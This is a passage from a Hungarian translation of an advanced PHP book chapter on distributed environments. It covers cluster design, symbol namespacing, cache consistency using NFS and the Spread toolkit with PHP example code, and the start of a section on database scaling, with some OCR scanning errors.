adatközpontokat is ki kell építenünk a szolgáltatás ellátása végett.

15. fejezet • Elosztott környezet kiépítése

401

15.2. ábra Egyszerű fürtözött szolgáltatás.

15.3. ábra Egy túlságosan bonyolult alkalmazásszerkezet.

402

PHP fejlesztés felsőfokon

E szerkezet előnyei között említhetjük az alábbiakat: • Azzal, hogy a szolgáltatásokat különböző fürtökbe helyezzük, lehetővé tesszük, hogy igényeik egymástól függetlenül változhassanak, amennyiben a forgalom nem egyenletesen emelkedik minden szolgáltatásnál. • A fizikai elválasztás egyértelmű, és elősegíti a logikai egységek szétválasztását is. A hátrányok a mérettel kapcsolatban jelennek meg. Számos projektnél tapasztalható, hogy túlságosan sok fürtre osztják az alkalmazást. Tíz logikailag elkülöníthető szolgáltatással rendelkezünk? Akkor hát tíz fürtre van szükségünk! Minden szolgáltatás létfontosságú, így mindegyikük biztosításához legalább két gép kell. így hát igen gyorsan eljutottunk odáig, hogy legalább 20 kiszolgálóval kell rendelkeznünk. Még kellemetlenebb, ha a fejlesztők kihasználják azt az értesülést, hogy a fürtök valójában különböző kiszolgálók, és egymást kizáró lehetőségek kihasználásával építik fel különböző szolgáltatásaikat. Az ilyen jellegű elválasztásra hagyatkozni olyan hibák megjelenését jelentheti, mint az azonos nevű könyvtárak használata az adattárolásban. Az ehhez hasonló tervezési hibákat nehéz vagy egyenesen lehetetlen orvosolni, és megjelenésük könnyen oda vezethet, hogy valóban fizikailag különböző kiszolgálókat kell használnunk. Persze nem mindig rossz dolog, ha 10 különböző fürt áll rendelkezésre a szolgáltatások számára. Ha például naponta több millió oldalt szolgáltatunk, ez lehetővé teszi, hogy hatékonyan elosszuk forgalmunkat a fürtökben. A gondok akkor jelentkeznek, amikor rendszerünk hihetetlenül erőforrásigényes, de naponta csak 100 000 vagy 1 000 000 oldalt szolgáltatunk. Ilyenkor kénytelenek vagyunk egy hatalmas gépezetet fenntartani., melynek ugyanakkor csak a töredékét tudjuk kihasználni. A hálózati programozás birodalma telis-tele van rosszul felépített és kevéssé kihasznált rendszerekkel. Ezek amellett, hogy rengeteg hardveres erőforrást pocsékolnak el, a fenntartás terén is tetemes költséggel járnak. Könnyű persze a cégek hibáit okolni a tévutakért és a rossz gondolatokért, de sosem szabad elfelejtenünk, hogy az 5 millió dolláros adatközpontok nem mutatnak jól a költséglistán. Hálózati rendszertervezőként mindig úgy éreztem, hogy feladatom nemcsak a könnyen méretezhető rendszerek kiépítése, hanem az is, hogy olyan alkalmazásokat tervezzek, melyek a lehető legtöbb hasznot hozzák. Ennyi figyelmeztetés talán elég is volt, most inkább lássuk, miként osszuk különböző szolgáltatásainkat fürtökbe.

Fürtök tervezése
Első lépésként - függetlenül attól, mik a későbbi terveink - meg kell győződnünk arról, hogy alkalmazásunk egyáltalán képes-e működni fürtözött környezetben. Ahányszor csak előadást tartok egy-egy konferencián, mindig akad valaki, aki arról érdeklődik, mi a titka a fürtözött alkalmazások készítésének. Nos, a nagy titok az, hogy nincs titok. A fürtökön is futni képes alkalmazások készítése nem mondható szörnyen bonyolultnak.

15. fejezet • Elosztott környezet kiépítése

403

Az egyetlen, amit mindig és szigorúan be kell tartanunk, a következő: Soha ne feltételezzük, hogy két felhasználó hozzáfér ugyanahhoz az adathoz, hacsak nem kifejezetten megosztott erőforrásról van szó. A gyakorlatban ez számos következménnyel jár: • Soha ne használjunk fájlokat dinamikus adatok tárolására, hacsak ezek nem elérhetők a fürt minden tagja számára (az NFS, Samba, vagy más fájlrendszerekben). • Soha ne használjunk DBM-eket dinamikus adatok tárolására. • Soha ne követeljük meg, hogy egymást követő kérelmek hozzáférjenek ugyanahhoz az erőforráshoz. így például azt megkívánni, hogy az egymás utáni kérelmek ugyanazt az adatbázis-kapcsolatot használják, nem helyes, de ha azt követeljük meg, hogy ezek a kérelmek ugyanazzal az adatbázissal alakítsanak ki kapcsolatot, az már alkalmazható módszer.

Fő az előrelátás
A fürtök alkalmazásának egyik legfontosabb oka, hogy megpróbálunk védekezni az egyes elemek meghibásodása ellen. Ez nem üldözési mánia - a webes fürtöket gyakran építik fel tömeggyártású elemekből. Ezek gyakorlatilag ugyanazok a hardverkomponensek, mint amiket az asztali számítógépekben is használunk, esetleg állványra szerelt házban, komolyabb tápegységgel, vagy kiszolgáló típusú BlOS-szal. A tömeggyártásban készült eszközök jellemzően gyengébb minőségellenőrzéssel készülnek, hibatűrésük pedig kisebb. így a komolyabb, vállalati rendszerekkel szemben a tömeggyártású gépek kisebb eséllyel képesek kivergődni egy olyan helyzetből, amikor egy processzor vagy memóriakártya meghibásodik. Ez a gyengébb minőségű felépítés azonban hihetetlen költségmegtakarítással párosul. A Google, a Yahoo! és más hasonló cégek megmutatták, milyen jelentős költségek takaríthatók meg, ha nagy számú olcsó, tömeggyártású gépen futtatják szolgáltatásaikat ahelyett, hogy kevesebb, de sokkal drágább gépekre építenének. A tanulság az, hogy a tömeggyártású gépek elromolhatnak, és minél többet használunk belőlük, annál gyakrabban találkozunk ilyen meghibásodásokkal - következésképpen alkalmazásunk tervezésében ezt mindenképpen számításba kell vennünk. íme néhány jó tanács: • Győződjünk meg róla, hogy alkalmazásunk a legfrissebb kóddal rendelkezik, mielőtt elindulna. Egy olyan környezetben, ahol a kód gyorsan változik, elképzelhető, hogy az a kód, ami kiszolgálónkon annak összeomlása idején futott, eltér attól, ami jelenleg működik a többi gépen. • Az alkalmazás indítása előtt ki kell ürítenünk a helyi gyorstárakat, hacsak nem vagyunk meggyőződve arról, hogy az adatok összhangban vannak.

404

PHP fejlesztés felsőfokon

• Soha nem szabad megkövetelnünk, hogy az ügyfél munkamenete egy adott kiszolgálóhoz kötődjön - még akkor sem, ha terheléskiegyenlítőnk támogatja ezt a lehetőséget. Hasznos lehet persze, ha a kiszolgálók, illetve az ügyfelek kötődnek egymáshoz a gyorstár hatékonysága érdekében, de az ügyfél munkamenetének nem szabad megszakadnia, ha egy kiszolgáló kikapcsolódik. Csapatjáték Rendszerünket az összjátékra, nem pedig a kizárólagosságra kell építenünk. Az alkalmazások éppoly gyakran zsugorodnak, mint amilyen gyakran növekednek - nem szokatlan, hogy egy projekt túltervezett, és több hardvereszközt használ, mint amennyire valójában szüksége van (így egyúttal nagyobb tőkeerőre van szüksége, és fenntartási költsége magasabb). A rendszer szerkezete sokszor lehetetlenné teszi, hogy több szolgáltatást egyetlen gépre helyezzünk. Az ilyen helyzet közvetlenül megsérti a méretezhetőség alapkövetelményét, amely lehetővé teszi mind a növekedést, mind a zsugorodást. Az alkalmazások békés egymás mellett élését nem különösebben nehéz megvalósítani a programozási gyakorlatban. Ez nem igényel különösebb tervezést vagy alkalmazkodást - mindössze némi előrelátást a buktatók elkerülése érdekében.
A függvények névterei

Erről a kérdésről már szóltunk korábban, és akkor sem ok nélkül: A függvények, osztályok és globális változónevek esetében a helyes névterek használata létfontosságú a nagyméretű alkalmazások tervezésénél, hiszen ez az egyetlen módszer, mellyel elkerülhetjük a szimbólumok neveinek ütközését. Készítettem egyszer egy webnaplózó programot, melynek egyik támogató könyvtárában létezik egy függvény formázott hibaüzenetek megjelenítésére: function displayError($entry) { II... a webnapló hibamegjelenítő függvénye
}

Az általános használati célú könyvtáramban is létezik egy hibamegjelenítő függvény: function displayError($entry) { II... általános hibamegjelenítő függvény
}

Nyilvánvaló, hogy ha ezeket együtt használom egy projektben, gondjaim adódnak, mivel függvény-újrameghatározási hibák keletkeznek. Ahhoz, hogy együtt is működhessenek, vala-

15. fejezet • Elosztott környezet kiépítése

405

melyikük nevét meg kell változtatnom, ami ugyanakkor a tőle függő kódok módosítását is maga után vonja. Sokkal jobb megoldás, ha előre gondolunk erre a lehetőségre, és külön névterekben helyezzük el ezeket a függvényeket - akár osztályok statikus tagfüggvényeiben: class webblog { static function displayError($entry) //.. .
} }

{

class Common { static function displayError($entry) //. . .
} }

{

Vagy a PHP4 hagyományos névkiegészítési módszerét alkalmazva: function webblog_displayError($entry) //. ..
}

{

function Common_displayError($entry) //. . .
}

{

Akárhogy is járunk el, ha kezdettől így védjük a szimbólumok neveit, elejét vehetjük az ütközéseknek, és elkerülhetjük az ilyenkor általában szükséges jelentős módosításokat.
Hivatkozzunk a szolgáltatásokra teljes leíró nevekkel!

Egy újabb fontos tervezési alapszabály, ami különösen lényeges a kódok együttműködéséhez, hogy hivatkozzunk a szolgáltatásokra teljes leíró nevükkel. Jómagam gyakran találkozom olyan alkalmazásokkal, melyek hivatkoznak egy dbhost nevű adatbázisra, és ezután az /etc/hosts fájlban szereplő dbhost beállításra építenek. Persze amíg egyetlen adatbázis van jelen, mindez rendben van - ha azonban két szolgáltatást kell használnunk, melyek dbhost beállítása nem egyezik meg, akkor bizony gondban vagyunk. Hasonlók igazak az adatbázissémák neveire (adatbázisnevek a MySQL-ben). Az egyedi nevek használata lehetővé teszi, hogy az adatbázisokat mindig biztonsággal elkülöníthessük egymástól. Mindez tehát azt jelenti, hogy ha leíró és egyedi adatbázisgazda és -sémaneveket használunk, elkerülhetjük a kavarodást és az ütközéseket.
Az erőforrások névterei

Amennyiben fájlrendszerbeli erőforrásokat használunk (például gyorstárfájlok tárolására), szolgáltatásunk nevét bele kell építenünk a fájl útvonalába, hogy biztosítsuk, nem ütközünk más szolgáltatások gyorstáraival és viszont. Ez a gyakorlatban azt jelenti, hogy a /cache/ könyvtár helyett mondjuk a /cache/www. f oo . com/ könyvtárba írjuk fájljainkat.

406

PHP fejlesztés felsőfokon

Tartalom elosztása a fürtökben
A 7. fejezetben jó néhány módszert láthattunk a tartalom elosztására - ezek ugyanolyan hatékonyan alkalmazhatók fürtözött rendszerekben is. Mindazonáltal két alapvető dologra jobban oda kell figyelnünk: • Biztosítanunk kell, hogy minden kiszolgáló önmagában helyes legyen. • Biztosítanunk kell, hogy a kiszolgálók egymással összhangban működjenek. Az első pontot már a 7. fejezetben megtárgyaltuk. A legbiztosabb módszer annak garantálására, hogy nincsenek jelen eltérő kódváltozatok, az, ha frissítés alatt lekapcsoljuk a szolgáltatást. Azért csak ez jelent biztos módszert, mert a PHP futás közben is értelmez és futtat beemelt fájlokat. így, még ha az összes régi fájlt újra is cseréljük, a közben futó programok egyaránt végrehajthatnak részleteket a régi és az új kódból. Léteznek módszerek arra, hogy csökkentsük a kikapcsolt állapot időtartamát, de valamilyen hosszú kikapcsolásra mindenképpen szükség van annak érdekében, hogy a kódrészletek közti összhang megmaradhasson. Sok esetben persze ez sem okozna túl nagy gondot, néha azonban olyan hibák is felszínre kerülhetnek, melyek a végfelhasználó számára is láthatók, amennyiben egy könyvtárban található API is változik a frissítés során. Szerencsére a fürtözött alkalmazások szerkezete nagyszerűen alkalmas az egyes csomópontok meghibásodásának kivédésére. Egy terheléskiegyenlítő vagy hibakezelő megoldás automatikusan észleli, ha egy szolgáltatás nem elérhető, és automatikusan átirányítja a kérelmeket a működő csomópontokra. Ez azt jelenti, hogy ha mindent helyesen állítunk be, egyszerűen lekapcsolhatjuk az egyes webkiszolgálókat, frissíthetjük a tartalmukat, majd újra bekapcsolhatjuk őket, mindenféle működésmegszakadás nélkül. Azt azonban már nehezebb feladat elérni, hogy egy fürt minden gépén egyszerre történjenek meg a változások. Szerencsére ilyesmire ritkán van szükség. Nem jelent különösebb gondot, ha van két egyidejű kérelmünk, melyek egyike új, a másik pedig régi kódot futtat, amíg a teljes frissítés időtartama rövid, és az egyes oldalak önmagukban helyesen működnek (akár a régi, akár az új viselkedést kövessék). Ha atomi átállásra van szükség, az egyik megoldás, hogy adott alkalmazás webkiszolgálóinak felét kikapcsoljuk, hibakezelő segédeszközünk pedig átirányítja a forgalmat a működő csomópontokra. A forgalomból kivont csomópontokat frissíthetjük, a kiszolgálókat újraindíthatjuk, mialatt az e csomópontokra mutató terheléskiegyenlítő szabályokat továbbra is kikapcsolva tartjuk. Amikor az összes csomópontunk működőképessé vált, a terheléskiegyenlítési szabályokat átirányíthatjuk az újra beindított kiszolgálókra, és befejezhetjük a frissítést. Látható, hogy ez a folyamat igen fájdalmas és költséges - a sikerességhez ugyanis az kell, hogy a fürtök fele képes legyen a teljes forgalmat lebonyolítani, legalább egy rövid ideig. Következésképpen ez a módszer - ahol csak lehet — kerülendő.

15. fejezet • Elosztott környezet kiépítése

407

Vízszintes méretezés
A vízszintes méretezhetőség a rendszertervezők közösségének divatos kifejezése. Ha egy rendszer rendelkezik ezzel a tulajdonsággal, akkor kapacitása lineárisan változik - vagyis kétszeres terhelésnek kétszeres erőforrás-felhasználás árán képes megfelelni. Első látásra ez nem tűnik különleges dolognak; hiszen magunk építettük fel az alkalmazást - mi akadályozhatja meg, hogy legrosszabb esetben ismét felépítsük, ezúttal megkétszerezve a kapacitását? Sajnálatos módon a tökéletes vízszintes méretezhetőség az alábbi okokból szinte soha nem érhető el: • Az alkalmazások egyes elemei egyszerűen nem méretezhetők lineárisan. Tegyük fel, hogy van egy alkalmazásunk, amely egy webnapló bejegyzéseinek kereszthivatkozásait követi nyomon. ./Vbejegyzés között 0(N2) kapcsolat lehetséges, így hát az erőforrás-felhasználás lineárisnál magasabb rendben függ a kapacitástól. • Az adatbázis-kezelő rendszerek méretezése nehéz. Egyrészről a hardverköltség többprocesszoros rendszerekben a lineárisnál jobban nő. Másrészről, az adatbázisokban alkalmazott többmesteres többszörözési (multimaster replication) eljárások késleltetést visznek a rendszerbe. (Ezekről az eljárásokról az Adatbázisok méretezése címszónál szólunk bővebben.) A vízszintesen méretezhető szolgáltatások esetében alapelvünk, hogy elkerüljük a különleges rendeltetésű kiszolgálók megjelenését - vagyis ügyelnünk kell arra, hogy minden kiszolgáló képes legyen különböző feladatok elvégzésére. Gondoljunk egy étteremre. Ha felveszünk egy szakácsot a zöldségek, egyet a húsok, egyet pedig a tésztafélék elkészítésére, csak addig tudunk hatékonyan dolgozni, míg a menü változatlan. Ha megnövekszik az igény a tészta iránt, a zöldséggel és a hússal foglalkozó szakácsok kihasználtsága csökken, és fel kell vennünk egy újabb tésztaszakértőt. Jobban járunk, ha olyan szakácsokat foglalkoztatunk, akiknek nincs különleges szakterületük - ők ugyan nem alkotnak kiemelkedőt egyetlen ételféleség elkészítésében sem, de könnyen megváltoztathatjuk feladatukat az igények eltolódásával, ami így gazdaságosabb és hatékonyabb működést tesz lehetővé.

Különleges célú fürtök
Térjünk most vissza a vendéglő példájára. Amennyiben a kenyér menünk állandó eleme, a minőség és a hatékonyság emelése érdekében érdemes lehet pékeket is felfogadnunk. Ők ugyan nem tudnak más feladatokat elvégezni, de ha a kenyér állandóan az étlapon szerepel, alkalmazásuk jó választás lehet. Nagy alkalmazásoknál sokszor érdemes lehet specializált fürtöket alkalmaznunk - ilyen esetek az alábbiak: • Szolgáltatások, melyek képesek a specializált eszközök kihasználására - Nagyszerű példa erre a képek szolgáltatása. Léteznek webkiszolgálók - mint a Tux és a thttpd -, melyek különösen alkalmasak arra, hogy statikus tartalmat szolgáltassanak. Gyakran alkalmazott módszer, hogy néhány kiszolgálót kifejezetten arra állítanak be, hogy képeket szolgáltasson.

408

PHP fejlesztés felsőfokon

• Szerzett vagy külső gyártó által készített alkalmazások halmazai - Sok olyan környezet létezik, ahol muszáj bizonyos alkalmazásokat külön futtatnunk, mivel például örökségként jutottunk hozzájuk, és így más feltételekre van szükség a működtetésükhöz. Elképzelhető, hogy szükségük van a mod_python vagy a mod_perl modulra is. Mindez gyakran a hibás tervezésre vezethető vissza - sokszor megesik, hogy a fejlesztő a céges környezetet tekinti próbaterepnek új gondolatok és új nyelvek vizsgálatához. Vannak azonban olyan esetek is, amikor mindezt nem lehet elkerülni - például ha az alkalmazást eleve megkapjuk, de vagy védjegyes, vagy PHP-beli megvalósítása túlzott költségekkel jár. • Az adatbázis-használat feldarabolása - Amint a fejezet későbbi részében, az Adatbázisok méretezése címszónál láthatjuk, ha az alkalmazás különösen nagyra nő, az adatbázis-kezelő kódot érdemes több részre bontanunk, melyek az alkalmazás különböző, egymástól független részeit szolgálhatják. • Igen nagy alkalmazások - Hasonlóan az étteremhez, amely saját pékséget nyit péksüteményei népszerűsége következtében, ha alkalmazásunk elegendően nagyra nő, érdemes lehet különböző, könnyebben kezelhető részekre bontani. Nincs olyan képlet, melynek segítségével eldönthetnénk, mikor kerüljön erre sor, de arra mindenképpen érdemes emlékeznünk, hogy a hardverhibák kiküszöbölésére az alkalmazásnak legalább két gépen kell futnia. Ezért hát jómagam soha nem darabolom fel az alkalmazást, míg teljes mértékben ki nem tudom használni két kiszolgáló erőforrásait.

Gyorstárak elosztott környezetben
Könyvünk egyik központi témája, hogy miként használjunk gyorstárakat a teljesítmény növelése érdekében. A gyorstárak alkalmazása valamilyen formában szinte minden teljesítménynövelő módszer alapja, de sajnálatos módon számos, általunk megismert módszer - köztük a tartalom tárolása és más folyamatok közti gyorstármódszerek - működésképtelenné válnak, ha közvetlenül fürtözött környezetbe helyezzük őket. Képzeljük el, hogy van két gépünk - az A és a B kiszolgáló -, melyek tárolt honlapokat szolgáltatnak. Kérelmek érkeznek Joe Random honlapjára, amely megtalálható tárolt változatban mind az A, mind a B kiszolgálón (lásd a 15.4. ábrát). Most Joe gondol egyet, és frissíti a honlapját. A frissítési kérelem az A kiszolgálóhoz érkezik, így az oldal új változata itt jelenik meg (lásd a 15.5. ábrát). Ennyi, és nem több az, amit az eddig megismert gyorstárolási módszerek nyújtanak. Joe honlapjának tárolt változatát a frissítés helyén (az A kiszolgálón) érvénytelenítettük, de a B kiszolgálón továbbra is van egy másolat, melyről B nem tudja, hogy elavult (lásd a 15.6. ábrát). így megszakad az összhang az adatok között - szükség van tehát egy olyan módszerre, amely képes kezelni ezt a helyzetet.

15. fejezet • Elosztott környezet kiépítése

409

15.4. ábra Több gépen tárolt kérelmek.

15.5. ábra Egyetlen frissítéssel elveszhet a gyorstárak összhangja.

410

PHP fejlesztés felsőfokon

15.6. ábra

Az elavult gyorstárbeli adatok megbonthatják a fürt gépeinek összhangját. A munkamenetek tárolt adatainál hasonló gondok merülnek fel. Joe Random meglátogat egy internetes áruházat, és árucikkeket helyez a bevásárlókocsijába. Ha a kocsi adatainak tárolását a munkameneti bővítés helyi fájlokra alapozza, ahányszor csak más kiszolgálóhoz kerül, Joe mindig más és más állapotban látja viszont bevásárlókocsiját (lásd a 15.7. ábrát). A felmerült gondokra - amellett, hogy korábban ismertetett okokból nem szeretnénk a felhasználó munkamenetét egy adott géphez kötni - két alapvető megközelítéssel kereshetünk megoldást: • Használhatunk egy központosított gyorstárat. • Használhatunk elosztott gyorstárakat valamilyen összehangoló eljárással.

15. fejezet • Elosztott környezet kiépítése

411

15.7. ábra

A munkamenetek tárolt adatainak összhangja megbomlik, így a bevásárlókocsik használhatatlanná válnak.

Központosított gyorstárak
A gyorstárak összehangolásának egyik legegyszerűbb és legelterjedtebb módszere egy központi gyorstár használata. Ha a résztvevők ugyanazokat a gyorstárfájlokat használják, az elosztott tárolást övező aggodalmak legtöbbje eloszlik (alapjában véve azért, mert maga a gyorstár így már nem tekinthető teljes mértékben elosztottnak - csak az azt megvalósító gépek). A központosított fájl alapú gyorstár megvalósításának legmegfelelőbb eszközei a hálózati fájlrendszerek. A Unix rendszereken szabványossá vált az NFS fájlrendszer, ami két okból is nagyszerű választás: • Az NFS kiszolgálók és ügyfélprogramok megtalálhatók gyakorlatilag minden modern Unix rendszeren.

412

PHP fejlesztés felsőfokon

• Az újabb Unix rendszerek megbízható fájlzárolási módszerek használatát teszik lehetővé az NFS-en, ami azt jelenti, hogy a gyorstárkönyvtárakat változtatás nélkül felhasználhatjuk. Az NFS valódi szépsége a felhasználó szempontjából az, hogy nem látszik különbözőnek más fájlrendszerektől, így igen egyszerű utat mutat a gyorstár megvalósításának kiterjesztésére egyetlen gépről gépek egy fürtjére. Ha van egy kiszolgálónk, amely a /cache/www. f oo . com/ könyvtárat használja gyorstárához, a 10. fejezetben készített Cache_File modullal egyszerűen kibővíthetjük ezt a rendszert — mindössze készítenünk kell egy /shares/cache/www. f oo. com/ nevű exportálható könyvtárat az NFS kiszolgálónkon és befűzni a kívánt gépen: #/etc/fstab nfs-server: /shares/cache/www. foo.com /cache/www. foo. com nfs rw,noatime — Ezután a befűzés (mounting, csatolás) mindössze ennyiből áll: # mount -a Persze az NFS használatának vannak bizonyos hátulütői is: • Szükség van egy NFS kiszolgálóra - ez a legtöbb esetben egy kifejezetten e célt szolgáló gép. • Az NFS kiszolgáló az egész rendszer Achilles-sarka. Számos gyártó készít ipari minőségű NFS kiszolgáló készülékeket, de magunk is készíthetünk olyan összeállításokat, melyekre bizalommal hagyatkozhatunk. • Az NFS kiszolgáló sok esetben szűk keresztmetszetet jelent a teljesítmény szempontjából. A központi kiszolgálónak viselnie kell a lemezes bemeneti-kimeneti műveletek terhelését minden webkiszolgáló gyorstáránál, és az adatokat a hálózaton is át kell adnia. Ez mind a lemezhasználat, mind a hálózati átvitel esetében adattorlódáshoz vezethet. A gondok elkerülésére érdemes megfogadnunk néhány jó tanácsot: 1. Csatoljuk megosztott könyvtárainkat a noatime beállítással - ez kikapcsolja a fájlok metaadatainak frissítését olvasási célú elérések esetén. 2. Figyeljük a hálózati forgalmat, és alkalmazzunk nyalábolt (trunked) Ethernet/Gigabit Ethernet rendszert, ha a sávszélesség-kihasználás 75 Mbps fölé nő. 3. Hívjuk meg legtapasztaltabb rendszerfelügyelő ismerőseinket egy sörre, és kérdezzük ki őket az NFS réteg hangolásának titkairól. Minden operációs rendszer a maga egyedi módján áll hozzá az NFS-hez, így ez a fajta finomhangolás igen nehéz feladat. Kedvenc idézetem e téren a 4.4 BSD súgóoldalainak NFS csatolásokról szóló részében található:

15. fejezet • Elosztott környezet kiépítése

413

Köszönhetően annak, hogy a Sun RPC az UDP ("unreliable datagram", vagyis megbízhatatlan adatcsomag) átvitelre épül, az ilyen csatolások hangolása nem kecsegtet sok sikerrel. A központosított tárolás másik lehetősége a relációs adatbázis-kezelő rendszerek használata. Ez persze ellentétesnek tűnhet a gyorstárak eredeti céljaival - vagyis az adatbázisok terhelésének csökkentésével -, de nem feltétlenül így áll a helyzet. Valódi célunk a költséges kódrészletek csökkentése vagy kiküszöbölése - az adatbázisok lekérdezései pedig gyakran költségesek. Gyakran, de nem mindig - így hát hatékonyan alkalmazhatjuk gyorstárainkat, ha az adatbázisok költséges lekérdezéseinek eredményét kis költségű lekérdezések útján tesszük elérhetővé. Teljesen szétterített gyorstárak készítése a Spread segítségével A központosított gyorstárak használatánál sokkal jobb megoldás, ha a gyorstár olvasását mindenféle központi szolgáltatótól függetlenül tudjuk végezni, az írás pedig elosztott rendszerben folyik - így az érvénytelenítéskor az egész fürt összes másolata érvénytelenné válik. Mindezt megvalósíthatjuk a Spread segítségével. A Spread egy, a Johns Hopkins Egyetem Hálózati és Elosztott Rendszerek Központjában kifejlesztett csoportos kommunikációs eszközkészlet, amely hatékony módot ad a fürt szolgáltatásai közti csoportos adatátvitelre, biztosítva az üzenetek sorrendjének megőrzését és megbízható kézbesítését. A program maga nem elosztott, eszközkészlete (amely egy üzenetbusz) azonban lehetővé teszi elosztott alkalmazások kiépítését. A szerkezet vázlatát a 15.8. ábrán láthatjuk. A gyorstárfájlokat változatjelzés nélkül helyben tároljuk az egyes gépeken. Ha a tárolt adatokat frissítik, ez a művelet egy üzenetet küld a cache Spread csoport felé. Minden gépen fut egy démon, amely ezt a csoportot figyeli. Amikor egy gyorstár-érvénytelenítési kérelem érkezik, ez a démon hajtja végre a megfelelő műveleteket a helyi gépen. Ez a módszer tökéletesen működik, amíg a hálózatot fel nem osztják - vagyis gépek nem csatlakoznak, illetve nem szakadnak le a gyűrűről. Tegyük fel például, hogy az egyik gép összeomlik, majd újra elindul. Működésének szünetében elképzelhető, hogy a gyorstár bejegyzései frissültek. Lehetséges, bár meglehetősen bonyolult olyan rendszert készíteni, amely a Spread segítségével újra érvényesíti a változtatásokat ilyen eseményeknél. Szerencsére a tárolt adatok természetükből következően időlegesek, újbóli elkészítésük pedig nem túlzottan költséges. Ebből a feltételezésből kiindulva egyszerűen kiüríthetjük a webkiszolgáló gyorstárát minden olyan alkalommal, amikor a démon újraindul. Ez kemény lépés, de egyszerű módszert ad arra, hogy elkerüljük az elavult adatok használatát.

414

PHP fejlesztés felsőfokon

15.8. ábra

Egy egyszerű Spread gyűrű. Mindennek megvalósításához telepítenünk kell néhány eszközt. Először is, le kell töltenünk, majd telepítenünk kell a Spread eszközkészletet a www. spread. org címről. Ezután telepítenünk kell a Spread burkolóját a PEAR-ben: # pear install spread A Spread burkolókönyvtár C-ben készült, így fordításához fontos, hogy minden PHP fejlesztőeszköz telepítve legyen (ez így van, ha a forrásból építettük fel a PHP-t). Ha nem szeretnénk saját protokollt készíteni, kiürítési kérelmeinket az XML-RPC segítségével továbbíthatjuk. Ez némiképp túlzásnak tűnhet, de az XML-RPC valójában igen jó választás. Sokkal egyszerűbb, mint a SOAP, mindemellett viszonylag bővíthető és „konyhakész" formátum, amely lehetővé teszi, hogy szükség esetén más nyelveken futó ügyfeleket is alkalmazzunk (így például egy önálló grafikus felhasználói felület is ellenőrizheti és ürítheti a gyorstárfájlokat). Mindenekelőtt telepítenünk kell egy XML-RPC könyvtárat. A PEAR XML-RPC könyvtár nagyszerűen működik, telepítése a PEAR-ben az alábbiak szerint végezhető el:
# pear install XML_RPC

15. fejezet • Elosztott környezet kiépítése

415

Eszközeink telepítése után szükségünk van egy ügyfélre is. Cache_File osztályunkat kibővíthetjük egy, az adatok kiürítését végző tagfüggvénnyel: require_once 'XML/RPC.php'; class Cache_File_Spread extends Filé { priváté $spread; A Spread működésének alapja, hogy az ügyfelek kiszolgálók hálózatához csatlakoznak, ahol többnyire egy géphez egy kiszolgáló tartozik. Amennyiben a démon a helyi gépen fut, egyszerűen megadhatjuk a kapuját, és kapcsolatot építhetünk ki vele egy Unix tartománycsatolón keresztül. A Spread alapértelmezésben a 4803-as kaput használja: priváté $spreadName = '4803';

A Spread ügyfelei akkor küldhetnek és fogadhatnak üzeneteket, ha csatlakoznak egy csoporthoz. Aki nem csatlakozott, nem láthatja az üzeneteket (jóllehet a küldésre van lehetősége). A csoportok nevei tetszőlegesek lehetnek, automatikus létrehozásuk pedig akkor történik meg, amikor az első ügyfél csatlakozik. Csoportunkat elnevezhetjük xmlrpc-nek: priváté $spreadGroup = 'xmlrpc'; $expiration=false)

priváté $cachedir = '/cache/'; public function______construct( $ f ilename,
{

parent: :___ construct( $ f ilename, $expiration); Az automatikus kapcsolódás érdekében létrehozunk egy új Spread objektumot: $this->spread = new Spread($this->spreadName);
}

Ez a tagfüggvény végzi a munka dandárját. Készítünk egy XML-RPC üzenetet, majd elküldjük a multicast tagfüggvénnyel az xmlrpc csoportnak: function purge()
{

// Ezt a szétcsatolást nem kell végrehajtanunk, // saját helyi démonunk megteszi helyettünk: // unlink ("$this->cachedir/$this->filename"); $params = array($this->filename); $client = new XML_RPC_Message("purgeCacheEntry", $params); $this->spread->multicast($this->spreadGroup, $client->serialize());
} } }

416

PHP fejlesztés felsőfokon

Ezek után, ahányszor csak érvénytelenítenünk kell egy gyorstárfájlt, az alábbi kódot használhatjuk:
$cache->purge();

Szükségünk lesz egy RPC kiszolgálóra is az üzenetek fogadására és feldolgozására: require_once 'XML/RPC/Server.php'; $CACHEBASE = ' / c a c h e / ' ; $serverName = ' 4 8 0 3 ' ; $groupName = 'xmlrpc'; A gyorstárfájlok eltávolításáért felelős függvény meglehetősen egyszerű - visszafejti a kiürítendő fájlt, és lecsatolja. A gyorstárkönyvtár jelenléte egy bátortalan lépés a biztonság irányában. Alkalmasabb megoldásként használhatjuk rajta a chroot-ot, hogy indításkor a gyorstárkönyvtárhoz kapcsolja. Mivel azonban mindez a rendszer belügye, most nem kell vele foglalkoznunk. Lássuk hát ezt az egyszerű eltávolító függvényt: function purgeCacheEntry($message) { global $CACHEBASE; $val = $message->params[0]; $filename = $val->getval(); unlink("$CACHEBASE/$filename");
}

Szükségünk van még az XML-RPC beállítására - egy kiosztási tömbben meg kell adnunk kiszolgálóobjektumunk számára, milyen függvényeket hívjon: 'purgeCacheEntry' => array('function' => 'purgeCacheEntry')); $server = new XML_RPC_Server($dispatches , 0 ) ; Elérkeztünk a kiszolgáló szívéhez. Kapcsolódunk helyi Spread démonunkhoz, csatlakozunk az xmlprc csoporthoz, és várunk az üzenetekre. Ha megérkezik egy, meghívjuk rajta a kiszolgáló parseRequest tagfüggvényét, amely a kívánt függvényhez irányít (esetünkben ez a purgeCacheEntry): $spread = new Spread($serverName); $spread->join($groupName); while(l) { $message = $spread->receive(); $server->parseRequest($data->message);
}

$dispatches = array(

15. fejezet • Elosztott környezet kiépítése

417

Adatbázisok méretezése
A nagyméretű szolgáltatások felépítésének egyik legnagyobb kihívása az adatbázisok méretezése. Ez nem csak a relációs adatbázis-kezelő rendszerekre igaz, hanem szinte minden központi adattárolóra. Kézenfekvő megoldásként kínálkozik az adattárolók méretezésére, hogy ugyanazt tegyük velük, mint bármely más szolgáltatással - osszuk fel, és rendezzük fürtökbe. Sajnálatos módon azonban a relációs adatbázis-kezelők esetében sokkal nehezebb dolgunk akad, mint más szolgáltatásoknál. A szétbontás igen jól használható az adatbázisok méretezésében - különböző szinteken. A szolgáltatásokhoz tartozó adatobjektumokat sémákba rendezhetjük. Mivel az adatok teljes mértékben (vagy legalábbis javarészt) szétválaszthatok, ezeket a sémákat különböző, fizikailag is önálló adatbázisokba helyezhetjük, komolyabb gondok nélkül. Néha azonban előfordul, hogy olyan, adatbázisra épülő alkalmazással van dolgunk, melyben az egyes sémákra annyi SQL kód hat, hogy ennek méretezésére is szükség van. Legtöbb esetben a nagyobb teljesítményű hardver beszerzése egyszerű és tökéletes megoldást ad erre a problémára, de előfordulhat, hogy ez nem járható út: • A hardvereszközök ára nem 